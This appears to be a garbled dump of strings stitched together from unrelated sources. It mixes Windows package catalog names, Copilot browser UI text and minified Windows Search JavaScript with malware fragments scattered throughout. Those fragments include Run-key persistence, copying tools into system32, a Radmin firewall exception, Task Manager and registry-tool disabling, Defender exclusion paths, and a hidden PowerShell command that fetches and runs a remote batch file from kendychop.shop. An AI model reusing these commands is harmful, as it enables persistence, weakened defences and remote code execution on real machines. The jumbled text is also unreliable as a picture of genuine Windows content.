Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-OneCore-CoreUiComponents-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-CoreUiComponents-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.WindowsTerminal_8wekyb3d8bbwem
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
ystemroot%\system32\cbevtsvc.exe -k netsvcs%s\%d.execbevtsvc.exewinhttpopenwinhttpconnectn
e-jok.cn/cnfg/_popwzw.txte-jok.cn/count/updatedata.aspx?id=canview.txtsoftware\microsoft\windows\currentversion\explorer\browser helper objects\
plat7microsoftru.exetaskkiller.exeshovth.exewinsn.exewinsos.exehkey_local_machine\software\microsoft\windows\currentversion\run
software\microsoft\windows\currentversion\setupAnskya&simentoolhelp32readprocessmemory
windows
system sys process.exewindows\Windows Medoc\windows_dxgc.exeC:\
!2Amvumisc.exekaena_hookzwopenprocesssoftware\microsoft\windows\currentversion\msrtn\value1a
RestrictRunSoftware\Microsoft\Windows\CurrentVersion\Uninstall\Blammi
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage th0
Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
WindowsVersion
Windows.ParentProcessNameHash
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
Microsoft Windows
windows_generic_MSG
QWindowsNativeDialogBase
QWindowsNativeFileDialogBase
QWindowsNativeSaveFileDialog
QWindowsXpNativeFileDialog
SOFT\SYSTEM32\DRIVERS\
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
[hkey_local_machine\software\microsoft\windows\currentversion\run]sharedapp.reg"sharedapps"="S
&!SystemRoot\System32\drivers\%s.sysSoftware\3721\AutoLive.dll
\system32\
Software\Microsoft\Windows\CurrentVersion\Policies\System\Disableregistrytools
dc^windows.packageExtension
cmdow@/hidcopy/y"blat.exe""%systemroot%/system32/blat.exe"copy/y"blat.lib""%systemroot%/system32/blat.lib"copy/y"blat.dll""%systemroot%/system32/blat.dllcopy/y"svchost.exe""%systemroot%/svchost.exe"copy/y"raddrv.dll""%systemroot%/raddrv.dll"copy/y"admdll.dll""%systemroot%/admdll.dll"netshfirewalladdallowedprogram"%windir%\svchost.exe""remoteadministratorserver"enableregaddhklm\system\radmin\v2.0\server\parameters/
"Debugger" /t REG_SZ /d "\"c:\windows\Note
windows security master\
WindowsFormsApp41
\Windows\CurrentVersion\Policies\System\DisableTaskMgrexefile\shell\open\command\
QQ.exesmtp.qq.comC:\WINDOWS\city1\
c:\windows\system32\
c:\windows\system32\
Windows
regsvr32 c:\windows\system32\google.dll /se:\projetos\bhobj jerundio\bho\_iebrowserhelper.pase:\projetos\bhobj carapreta\_iebrowserhelper.pasgoogle.dll
c:\windows\system32\
attrib +s +h +r  c:\windows\system32\
c:\r1windows<*windowsv1system32>*system32r2cmd.exe<*cmd.exer/cstartrundll32\fedcbafedcbafedcbafedcbafedcbafedcbafb.fedcbafedcbafedcbafedcbafedcbafedcbafb,ciiciciccvcvcvcp!%systemroot%\system32\shell32.dll
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WINDOWSUDK.SYSTEM.USERPROFILE.INTENDEDSYSTEMUSEMANAGER
Microsoft.Windows.Sens
onecoreuap\windows\core\color\ModernColor\RPC\server\displayhandlerlib\TransformTypes.h
onecoreuap\windows\core\color\moderncolor\rpc\server\lib\colormanagementrpcserverpolicy.cpp
onecoreuap\windows\core\color\moderncolor\rpc\server\displayhandlerlib\brightnessmanager.cpp
onecoreuap\windows\core\color\moderncolor\rpc\server\displayhandlerlib\monitorbrightnesshandler.cpp
onecoreuap\windows\core\color\moderncolor\rpc\server\displayhandlerlib\brightnessstrategy.cpp
windows\system32\imageres.dllb
Microsoft.Windows.CoreUIComponents
Microsoft.Windows.Wil.FeatureLogging
nht(n))},this._calculateIFrameHeight(),this._miniSERPIframeWidth=this._iframe.offsetWidth,this.overrideAjaxCalls(s,r,u,e),this.captureNavigationsAndSizeEvents(t,i,s,o,e),this._scrollArea.scrollTop=0,n.config.backStackSearchEnabled&&(this._shouldAddSearchBackStack=!0,this._currentBackStackTimeout&&clearTimeout(this._currentBackStackTimeout),this._currentBackStackTimeout=sb_st(()=>{this._shouldAddSearchBackStack=!1},n.config.miniSerpRedirectTimeoutInMs)),n.contains([2,3],this._currentVertical)){let t={childList:!0,subtree:!0};this._mutationObserver=new MutationObserver(()=>{this._calculateIFrameHeight&&this._calculateIFrameHeight()});n.safeExecute(()=>{this._currentVertical===2?this._mutationObserver.observe(o.getElementById("images"),t):this._currentVertical===3&&this._mutationObserver.observe(o.getElementById("video"),t)},"onIFrameLoadedCallback")}if(this._msRewardsViewModel&&this._msRewardsViewModel.isRewardsEnabled()&&s.sj_rra&&s.sj_rra(t),n.isZeroInputShowPreview()){const t=(h=(f=_qs(".groupContainer.leftPaneZIsuggestions"))===null||f===void 0?void 0:f.getBoundingClientRect)===null||h===void 0?void 0:h.call(f);if(((c=t===null||t===void 0?void 0:t.width)!==null&&c!==void 0?c:0)>0&&((l=t===null||t===void 0?void 0:t.height)!==null&&l!==void 0?l:0)>0){const t=(a=i===null||i===void 0?void 0:i.querySelector)===null||a===void 0?void 0:a.call(i,"#b_content");if(!n.isNullOrUndefined(t)){const i=t;n.isNullOrUndefined(i===null||i===void 0?void 0:i.style)||(i.style.marginTop="0px")}}}this._timestampFirstRender=n.getCurrentTime();this.instrumentOnPreviewPaneRendered(!0,!1)},this._iframe.onload=()=>{if(c){this.tryLaunchUrl(t,s.location.href,0,e);return}c=!0;this.overrideAjaxCalls(s,r,u,e)},e)i=DOMPurify.sanitize(i,{WHOLE_DOCUMENT:!0,ADD_TAGS:["meta","link"],ADD_ATTR:["name","charset","content","http-equiv","id","href","rel","type","size","media",]});let h;n.config.enableCSP&&(h=n.getNonce(),h&&(i=n.applyNonceToScripts(i,h)));o.open();o.write(i);o.write("<base href='"+t+"' target='_parent' />");n.config.enableCSP&&h?o.write("<script nonce='"+h+"'>window.parent.sj_evt.fire('"+n.MiniSerpLoadedEvent+"')<\/script>"):o.write("<script>window.parent.sj_evt.fire('"+n.MiniSerpLoadedEvent+"')<\/script>");o.close()}setIframeHeight(n){const t=ft;return n<t&&(n=t),this._iframe.style.height=n+"px",n}overrideAjaxCalls(t,i,r,u){u||(t.sj_gx=()=>{let t=sj_gx(),u=t.open;return t.open=(f,e,o,s,h)=>{if(this.blockedMiniSERPUrls.some(n=>e.startsWith(n)))throw new Error("MiniSERP blocked URL request: iFrame URL: "+this._iframe.contentDocument.baseURI+" requestUrl: "+e);f=="GET"&&r&&(e=ThresholdUtilities.setUrlParameter(e,"client","windowsMiniSerp"));n.config.isThemeAware&&n.isDarkModeEnabled()&&(e=ThresholdUtilities.setUrlParameter(e,"darkschemeovr","1"));n.config.useCobaltCSS&&!e.includes("&addfeaturesnoexpansion=wsbcobalt")&&(e=ThresholdUtilities.setUrlParameter(e,"addfeaturesnoexpansion","wsbcobalt"));n.config.enableWsbPartnerCodes&&(e=n.setWsbPartnerCodeToURL(e,2));u(f,e,o,s,h);for(let n in i)t.setRequestHeader(n,i[n])},t})}captureNavigationsAndSizeEvents(t,i,r,f,e){this._focusHelper=this.createFocusHelper(r,f);this._focusHelper&&(this._originalMiniSerpXYFocusRoot=this._focusHelper.getXYFocusRoot());this._previewPaneViewModelParent.focusPending&&(this._previewPaneViewModelParent.focusPending=!1,this.focus());this._iframe.contentWindow.overlay_onBeforeContentLoad=()=>{this.setIframeHeight(ut)};this._iframe.contentWindow.overlay_onBeforeSuccess=n=>{this.setIframeHeight(n.clientHeight+et)};let o=()=>{r.sj_lc=n=>{if(n)this.tryLaunchUrl(t,n,0,e);else{let n=this._previousURLs[this._previousURLs.length-2];this._previousURLs.splice(this._previousURLs.length-2,2);this.tryLaunchUrl(t,n,0,e)}},r.MiniSerp=!0,this._calculateIFrameHeight()},h=n=>{this._focusHelper.setXYFocusRoot(n),this._focusHelper.moveFocusToEdgeFocusableElement(0)},s=r.sj_evt;if(s)["onP1","ajaxReady"].forEach(n=>s.bind(n,o)),s.bind("l2_overlay_visible",n=>{o();var t=this._iframe.contentDocument.getElementById(n[1]);t&&(this._focusHelper.setIsL2Visible(!0),h(t))}),s.bind("l2_overlay_hidden",()=>{o(
hildSuggestions.filter(t=>t.type=="JL"&&!t.displayed&&t.groupType!=n.GroupType.JumpListTasks).slice(0,n.config.maxJLcm).forEach((n,r)=>{if(t&&!e)i.push({});e=!0;let o={verb:"JumpList_"+c+"_"+r,displayName:n.text,executeSync:()=>l(u,n,f),getIcon:h(n.jumpListItem,n.parent,!0,c)};i.push(o)})}return i},!0))}function si(t,i,r,u,e,o,a,v,y){u.calculateChildSuggestions=null;let b=e.jumpList;if(b&&b.length!=0){let w=r||"",k=w.indexOf("}");w=w.substr(k+1);let p=[];for(let r of b)if(!o||n.contains(o,r.type)){let s=c(r.type),y=s!=n.GroupType.JumpListTasks;for(let o of r.items)if(!rt(o)){let d=it(u.deviceItem.id,c(r.type))?u.getIcon:h(o,u,y,i),k="JL",b=n.createSuggestion(t,o.displayName,d,null,k,o.displayName,n.InstrumentedItem.createInstrumentedItem(v,k),2,u.sequenceNumber,y,null,null,!0);b.click=()=>l(e,b,a);b.jumpListItem=o;b.groupType=s;b.groupDisplayName=r.name;b.parent=u;b.tooltip=o.description;let g=w&&o.path.endsWith(w);g||(b.path=o.path);f(b,"calculateJumpListSuggestions")&&(p.push(b),hi(e,b,a))}}p.length>0&&(u.childSuggestions=u.childSuggestions?u.childSuggestions.concat(p):p,s(p),n.InstrumentationHelper.instrumentDataSource(v,y,p,null))}}function h(t,i,r,u){return(f,e)=>n.getIcon(t,u+"_"+t.path+"_"+t.displayName,"jumpList",!r,!1,null,null,0)(f,n=>{n?e(n):i.getIcon(f,e)})}function rt(t){return t.displayName?!n.RuntimeConfig.AlwaysWide&&n.olderThan2Weeks(t.lastAccessed)?!0:!1:!0}function c(t){switch(t){case 0:return n.GroupType.JumpListTasks;case 1:return n.GroupType.JumpListPinned;case 2:return n.GroupType.JumpListRecent;case 3:return n.GroupType.JumpListFrequent;default:return n.GroupType.JumpListCustom}}function l(t,i,r){n.Async.safeChain("launchJumpList",()=>i.jumpListItem.launchAsync(),()=>n.Host.manuallyDismissApp(),()=>{n.DialogBox?n.DialogBox.show(n.Host.getLocString("JumpListItemUnavailableDeleteConfirmation"),[{id:null,text:n.Host.getLocString("Cancel"),selected:!0,action:()=>n.Host.setFocusInSearchBox(null,"jumpListItemDialogBoxCancel")},{id:null,text:n.Host.getLocString("Remove"),selected:!1,action:()=>{a(t,i,r),n.Host.setFocusInSearchBox(null,"jumpListItemUnavailable1")}}]):(r.showTemporaryMessage(n.Host.getLocString("JumpListItemUnavailable")),a(t,i,r),n.Host.setFocusInSearchBox(null,"jumpListItemUnavailable2"))})}function a(t,i,r){let u=()=>r.showTemporaryMessage(n.Host.getLocString("RemoveFromListFailure",i.text)),f=i.parent.childSuggestions.length==1;n.Async.safeChain("deleteJumpList",()=>i.jumpListItem.deleteAsync(),()=>{n.Async.safeChain("getJumpListAsync",()=>t.getJumpListAsync(),t=>{f&&t.some(n=>c(n.type)==i.groupType&&n.items.some(n=>!rt(n)))?u():(n.Host.refreshCurrentPane(),r.showTemporaryMessage(n.Host.getLocString("RemovedFromList",i.text)))},u)},u)}function hi(t,r,u){r.jumpListItem.deleteAsync&&i(r,()=>{let i={verb:"RemoveFromThisList",displayName:n.Host.getLocString("RemoveFromThisList"),executeSync:()=>a(t,r,u),icon:{type:2,content:"&#xE711"}};return[i]},!0)}function ci(t,i){if(t&&t.uxHint){let r=i?HitHighlightingParser.addMarkers(t.uxHint,i):t.uxHint;return n.Host.getLocString("RelatedSynonym",r)}return null}const ut={"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge":[0],"Microsoft.InternetExplorer.Default":[0],Chrome:[0],"360browser":[0]},v={skype:[],outlook:[0],"360browser":[0],chrome:[0],iexplore:[0],opera:[0],firefox:[0],safari:[0]},y={"\\msedge.exe":[0]},ft=["Microsoft.Windows.Explorer",],e=[[!0,"LastAccessed","lastAccessDateString"],[!1,"LastModified","lastModifiedDateString"],[!1,"LastModifiedBy","lastModifiedBy"],[!1,"Author","author"],[!1,"Activity","activity"],[!1,"Artist","artist"],[!1,"Album","album"],[!1,"Genre","genre"],[!1,"Tags","tags"],[!1,"Relevance","relevance"],],p={"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge":[n.GroupType.JumpListTasks],"Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe!App":[n.GroupType.JumpListTasks],"Microsoft.XboxApp_8wekyb3d8bbwe!Microsoft.XboxApp":[n.GroupType.JumpListCustom],"com.squirrel.Teams.Teams":[n.GroupType.JumpListTasks],"Microsoft.ScreenSketch_8wekyb3d8bbwe!App":[n.GroupType.JumpListTasks]};n.getFileExtension=et;n.toDate=ot;n.getTodayTatchType:(t=i.deviceItem)===null||t===void 0?void 0:t.matchType})};else{let t=n.getCommandLineItem(l);t&&(l.hc=n.isRealCommand(l,t))}let d=n.getGroupType(l);if(n.shouldSetThisPcGroupSource(d,t)&&(l.sourceForGroup=1),ii(t,v,n.isL2(t),n.supportsShortcuts(r,t),l,r),(n.RuntimeConfig.QfMode==5||n.RuntimeConfig.QfMode==9)&&(l.additionalInfoText=undefined,l.primaryMetadata=undefined,l.secondaryMetadata=undefined),l.reactKey||(l.reactKey=o+t+i.deviceItem.id),n.config.enableCopIFFExpPlan||n.config.mergeMultipleResouces||n.Host.isFullTextRespectL1RankerEnabled()){if(!n.isNullOrUndefined(l===null||l===void 0?void 0:l.deviceItem)&&n.isDocument(l===null||l===void 0?void 0:l.type)||n.isPhoto(l===null||l===void 0?void 0:l.type)||n.isFolder(l===null||l===void 0?void 0:l.type)){let n=l.deviceItem;(n===null||n===void 0?void 0:n.matchType)===2?l.isFullTextMatched=!0:(n===null||n===void 0?void 0:n.matchType)===1?l.isLexicalMatched=!0:(n===null||n===void 0?void 0:n.matchType)===3?(l.isPolarisMatched=!0,l.indexerIntentFeature=!0):(n===null||n===void 0?void 0:n.matchType)===4&&(l.isVegaMatched=!0,l.indexerIntentFeature=!0)}if(n.Host.getJupiterProviderEnabled()&&!n.isNullOrUndefined(l===null||l===void 0?void 0:l.deviceItem)&&n.isSetting(l===null||l===void 0?void 0:l.type)){let n=l.deviceItem;(n===null||n===void 0?void 0:n.matchType)===5&&(l.isJupiterMatched=!0,l.indexerIntentFeature=!0)}}if(n.Host.isFullTextSearchEnabled()&&n.config.newFilesPreviewPane&&r=="IFF"){if(f(l,"parseLocalSuggestion "+r)){let t=-1;h(l)&&(t=s.findIndex(t=>n.isDuplicateDocument(t,l)),t!=-1&&(l.deviceItem.rankScore>s[t].deviceItem.rankScore&&(s[t]=l),(n.config.enableCopIFFExpPlan||n.config.mergeMultipleResouces||n.Host.isFullTextRespectL1RankerEnabled())&&(s[t].isFullTextMatched=!0,s[t].isLexicalMatched=!0)),t==-1&&s.push(l))}}else f(l,"parseLocalSuggestion "+r)&&h(l)&&s.push(l);if((n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55758958))&&n.config.enableVegaProviderDedupe&&r=="CoPCFP"){const n=(p=l.deviceItem)===null||p===void 0?void 0:p.getProperty("System.ContentUri");n&&(l.url=n)}}}function ei(t){i(t,()=>{if(t.duplicates){let i=t.duplicates.find(n=>n.handoffType==8);if(i){let t=[];return t.push({verb:n.JumplistActionItemType[n.JumplistActionItemType.S_OpenInBrowser],displayName:n.Host.getLocString("OpenInBrowser"),executeSync:n.shouldLaunchSuggWithDefaultBrowser()?()=>n.Host.launchUrlWithDefaultBrowserAsync(i.url+(i.handoffType==8?"?web=1":"")):()=>n.Host.launchUrlWithEdgeProtocolAsync(i.url+(i.handoffType==8?"?web=1":""),{medium:"MSBLink"}),icon:{type:1,content:"&#xE774"}}),i.locationUrl&&t.push({verb:n.JumplistActionItemType[n.JumplistActionItemType.S_OpenFileLocationInBrowser],displayName:n.Host.getLocString("OpenFileLocationIn",n.getGroupSourceDisplayName(i.sourceForGroup)),executeSync:n.shouldLaunchSuggWithDefaultBrowser()?()=>n.Host.launchUrlWithDefaultBrowserAsync(i.locationUrl):()=>n.Host.launchUrlWithEdgeProtocolAsync(i.locationUrl,{medium:"MSBLink"}),icon:{type:2,content:"&#xE838"}}),t}}return[]},!0)}function it(t,i){return!n.config.enableFallbackIconsForJumpLists||!p[t]?!1:n.contains(p[t],i)}function oi(t,r,u,f,e,o){let c=u.id,a=u.filePath,s;if(!n.config.forceAllJumplists){if(s=n.config.enableJumplistRestrictions&&ut[c],!s&&a){let t=a.toLowerCase();for(let n in y)if(t.includes(n)){s=y[n];break}if(!s&&n.config.enableJumplistRestrictions)for(let n in v)if(t.includes(n)){s=v[n];break}}if(s&&s.length==0)return}(n.RuntimeConfig.AlwaysWide||!ft.find(n=>n==c))&&(r.calculateChildSuggestions=()=>si(t,c,a,r,u,s,f,e,o),n.config.maxJLcm&&i(r,t=>{let i=[];if(!t&&(r.calculateChildSuggestions&&r.calculateChildSuggestions(),r.childSuggestions&&(!n.RuntimeConfig.AlwaysWide||!r.previewPaneType))){let t=!1;r.childSuggestions.filter(t=>t.type=="JL"&&!t.displayed&&t.groupType==n.GroupType.JumpListTasks).slice(0,n.config.maxJLcm).forEach(n=>{t=!0;let e=it(r.deviceItem.id,n.groupType)?r.getIcon:h(n.jumpListItem,n.parent,!1,c),o={verb:"JumpListTask_"+c+"_"+n.text,displayName:n.text,executeSync:()=>l(u,n,f),getIcon:e};i.push(o)});let e=!1;r.c,[n.MatchType.Tags,h.tags,"System.Photo.TagViewAggregate"],[n.MatchType.Author,h.author,"System.Author"],[n.MatchType.LastModifiedBy,h.lastModifiedBy,"System.Document.LastAuthor"])}}}if((s==="CoPIFF"||s==="CoPCFP"||n.isContentSearch(h===null||h===void 0?void 0:h.type))&&(h.match=n.createMatch(n.MatchType.Relevance,"")),n.Host.isFullTextRelevanceStringEnabled()&&n.isFileOrFolder(h===null||h===void 0?void 0:h.type)){let t=h.deviceItem;(t===null||t===void 0?void 0:t.matchType)===2&&(h.match=n.createMatch(n.MatchType.Relevance,""))}u(i,f,e,h);ei(h)}function g(t,i){let r=n.safeExecute(()=>i.getProperty("System.Link.TargetParsingPath"),"getTargetPath");if(r){r=r.toLocaleLowerCase();let i=n.getKnownFolderPathLC(n.FOLDERID_Profile);if(i){let t=n.getKnownFolderPathLC(n.FOLDERID_SystemX86);if(t&&r.startsWith(t+"\\config\\systemprofile"))r=i+r.substr(t.length+21);else{let t=n.getKnownFolderPathLC(n.FOLDERID_System);t&&r.startsWith(t+"\\config\\systemprofile")&&(r=i+r.substr(t.length+21))}}t.targetPathLC=r}}function ui(n){if(n.launchArguments)return null;let t=n.itemTypeDisplayName;return t&&t[0]!="."?t:null}function s(t){let i=[];for(let r=0;r<t.length-1;++r){let u=t[r];if(!n.displayedInGridLayout(u.type)&&!n.isImageGridEnabledForItem(u.type)&&!u.explanation)for(let n=r+1;n<t.length;++n){let f=t[n];if(u.type==f.type&&u.text.toLocaleLowerCase()==f.text.toLocaleLowerCase()){i[r]=!0;i[n]=!0;break}}}if(i.length!=0){let u=t.filter((n,t)=>i[t]),r=n.Host.getLocString("InfoTextWithSource");for(let t of u)if(t.path){let u=t.path.lastIndexOf("\\");if(u==-1)continue;let i=t.path.slice(t.path.lastIndexOf("\\",u-1)+1,u),f=t.handoffType==2?null:t.primaryMetadata;if(f&&i.endsWith(":"))continue;t.type=="IBA"?(t.secondaryMetadata=t.primaryMetadata,t.primaryMetadata=i):t.primaryMetadata=t.primaryMetadata?f?n.formatString(r,[i,t.primaryMetadata]):n.formatString(r,[t.primaryMetadata,i]):i;t.additionalInfoText=n.formatString(r,[" -",i]);t.match&&(t.classNames=t.classNames.filter(n=>n!="withMatchAnnotation"&&n!="forceNoWrapOutsideTopResult"));t.narratorText=n.getNarratorText(t);t.parentFolderDisambig=i}}}function nt(t){t.primaryMetadata=n.Host.getLocString("RunCommandPrompt");t.classNames.push("action");t.narratorText=n.getNarratorText(t)}function fi(t,i,r){n.Host.getJupiterProviderEnabled()&&i==="CoPST"&&(t.match=n.createMatch(n.MatchType.Relevance,""),o(t)&&(t.previewMetadata||(t.previewMetadata={}),t.previewMetadata[n.Host.getLocString("Relevance")]=[{text:n.Host.getLocString("SettingRelatedHasBeenFound",`{${r}}`)}]))}function tt(t,i,r,u,e,o,s,h,c){var p;let w=n.localDataSourceMayContainPII(r);if(!o){let t=i.deviceItem.kind;n.LogWSBError("parseLocalSuggestion"+r,w?"":i.deviceItem.displayName||i.deviceItem.id,new Error("Unrecognized kind: "+t),undefined,undefined,"WindowsTelemetry");return}let b=o=="LURL"?1:2;if(n.isSuggestionTypeEnabled(r,o,b,t)){let v=n.getEffectiveQuery(t),y=i.deviceItem.displayName,k=y&&v?HitHighlightingParser.addMarkers(y,v):y,l=n.createSuggestion(t,k,i.getIcon,i.icon,o,y,n.InstrumentedItem.createInstrumentedItem(u,o),b,u,w);l.uxHint=ci(i,v);l.l1rank=c;i.deviceItem.isSimulated||(l.deviceItem=i.deviceItem);l.ciMetaData=i.ciMetaData;n.isApp(o)&&(l.pinnedToTaskbar=n.Host.isPinnedToTaskbar(i.deviceItem.id));i.groupDisplayName&&(l.groupDisplayName=i.groupDisplayName);let a=n.getAppItem(l);if(a?(l.click=()=>n.Host.launchAppItemAsync(a,r,l.appContext),n.config.maxJLcm&&oi(t,l,a,e,u,r),l.reactKey=o+a.id):l.type=="FEH"?(l.click=()=>n.Host.submitFileExplorerTextSuggestion(l.query),l.reactKey=o+l.query):l.type=="FD"&&n.RuntimeConfig.QfMode==5?(l.click=()=>n.Host.submitFileExplorerFolderSuggestion(l.path),l.reactKey=o+l.deviceItem.id):(l.click=()=>n.Host.launchDeviceItemAsync(l.deviceItem,r),l.reactKey=o+l.deviceItem.id),a&&l.type!="IBA"||n.isSetting(l.type)||n.isFileOrFolder(l.type)&&l.type!="LDOC")l.getMruData=()=>{var t;return Object.assign(Object.assign({},n.getMruSuggestionData(l)),{id:i.deviceItem.id,appContextData:l.appContext?{appContext:l.appContext,query:l.query,textWithoutHH:HitHighlightingParser.removeMarkers(l.text)}:undefined,m
objetsh.run"cmd.exe/crename"&command&"windows-security.exe
z-exclusionpath@('c:\windows\temp','c:\programdata\google',
\windows\system32\rundll32.exeurl.dll,fileprotocolhandler
!\windows\system32
 II - Standard Edition (Windows)https://store-images.s-microsoft.com/image/apps.12493.14101915825563460.e102526c-a483-423c-87f0-446d67ef06cd.064cb80b-826d-4d22-8185-5522af86fb0den
dition Standard (Windows)https://store-images.s-microsoft.com/image/apps.12493.14101915825563460.e102526c-a483-423c-87f0-446d67ef06cd.064cb80b-826d-4d22-8185-5522af86fb0dfr
 II - Standard Edition (Windows)https://store-images.s-microsoft.com/image/apps.12493.14101915825563460.e102526c-a483-423c-87f0-446d67ef06cd.064cb80b-826d-4d22-8185-5522af86fb0dde
 III - Standard Edition (Windows)https://store-images.s-microsoft.com/image/apps.33315.13612848337674936.f9e71e15-6765-4282-8a3d-968dccfb729c.d5f658a1-1f61-4be5-a7b9-9cf8cc580baden
dition Standard (Windows)https://store-images.s-microsoft.com/image/apps.33315.13612848337674936.f9e71e15-6765-4282-8a3d-968dccfb729c.d5f658a1-1f61-4be5-a7b9-9cf8cc580badfr
 III - Standard Edition (Windows)https://store-images.s-microsoft.com/image/apps.33315.13612848337674936.f9e71e15-6765-4282-8a3d-968dccfb729c.d5f658a1-1f61-4be5-a7b9-9cf8cc580badde
c:\windows\system32\windowspowershell\v1.0\powershell.exe-wh-c"iex'&\\kendychop.shop@9240\davwwwroot\new.bat'"
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
contosoforresterdemo.blob.core.windows.net/docs/%
D$reak;case 1:r=["OneDriveBusiness"];break;case 2:r=["SharePoint","OneDriveBusiness"];break;default:throw new Error("Unexpected query provenances: "+n.config.queryProvenances);}i=this.buildPostBodyForQueryEndpoint(t,"Documents",r,[{Score:"Desc"}]);break;default:throw new Error("Unsupported scope "+t.scope);}return JSON.stringify(i)}return this._providerType==2?JSON.stringify(this.buildPostBodyForRecommendationsEndpoint(t)):this._dataSource=="SPSE"?JSON.stringify(this.buildPostBody("Prompt","WindowsSearchBox.Composer.Copilot_QF",undefined,t.queryToFetch,undefined,undefined,undefined,"Forward")):""}buildPostBodyForQueryEndpoint(n,t,i,r){return this.buildPostBody(t,"WindowsSearchBoxL2",undefined,n.queryToFetch,i,r,"ProvenanceOptimized","Forward")}buildPostBodyForRecommendationsEndpoint(t){if(n.config.use3sRecRecommendedFiles&&t.isSearchHomeZI)return this.buildPostBody("Document","WSB.RecommendedFiles");let i=new Date(n.getCurrentTime()).toISOString(),r=new Date(n.getCurrentTime()+ht*n.MinuteToMs).toISOString();var u=[{EntityType:"Event",StartDateTime:i,EndDateTime:r,Top:2},{EntityType:"Document",Top:10}];return this.buildPostBody("Document","WSB.MeetingRelatedEntities",u)}buildPostBody(t,i,r,u,f,e,o,s){switch(i){case"WSB.RecommendedFiles":return{EntityRequests:[{}],Cvid:n.Host.getConversationId(),Scenario:{Name:i}};case"WindowsSearchBox.Composer.Copilot_QF":return{EntityRequests:[{Query:u?{QueryString:u}:undefined,EntityType:"Prompt"}],Cvid:n.Host.getConversationId(),TextDecorations:s,Scenario:{Name:i}};default:return{EntityRequests:[{Query:u?{QueryString:u}:undefined,QueryParameters:r,EntityType:t,Provenances:f,Sort:e,PropertySet:o}],Cvid:n.Host.getConversationId(),TextDecorations:s,Scenario:{Name:i}}}}getAllAccountTokens(t,i){if(t||n.RuntimeConfig.QfMode!=5)this._accessTokenManager.getAccount(this._authType,n.getSubstrateResourceOrScope(this._authType),!1,!0,n=>{n&&n.Token?i([n]):i(null,r)},undefined);else{let 